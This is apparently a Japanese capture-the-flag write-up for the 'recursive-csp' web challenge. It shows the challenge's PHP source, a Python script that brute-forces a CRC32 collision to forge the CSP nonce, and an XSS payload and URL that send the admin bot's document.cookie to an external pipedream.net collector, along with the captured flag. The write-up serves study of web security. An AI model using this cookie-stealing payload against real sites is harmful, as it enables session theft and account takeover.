Webページのソースは次の通り。web/recursive-cspstrellicthe nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
<?phpnameに<script>タグを入れてXSSを発生させる。Content-Security-Policyのscript-srcのnonce値を合わせておく必要がある。
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
次のプログラムでnonce値が00000000になる入力値を求める。
import binascii
import string
import itertools
for i in range(1, 10):
print(i)
for s in itertools.permutations(string.ascii_lowercase, i):
ss = "".join(s)
name = '<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>' + ss
h = binascii.crc32(name.encode())
if h==0:
print(name)
exit()
次のようにURLエンコードしてadmin botに入力するとCookieの情報を読み取ることができる。1234567<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>ndvimpy
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2200000000%22%3Edocument.location=%22https://enxsx38x468t.x.pipedream.net/?s=%22%20%2b%20document.cookie%3C/script%3EndvimpyRequestBinに次のログが残る。
GETフラグは、
dice{h0pe_that_d1dnt_take_too_l0ng}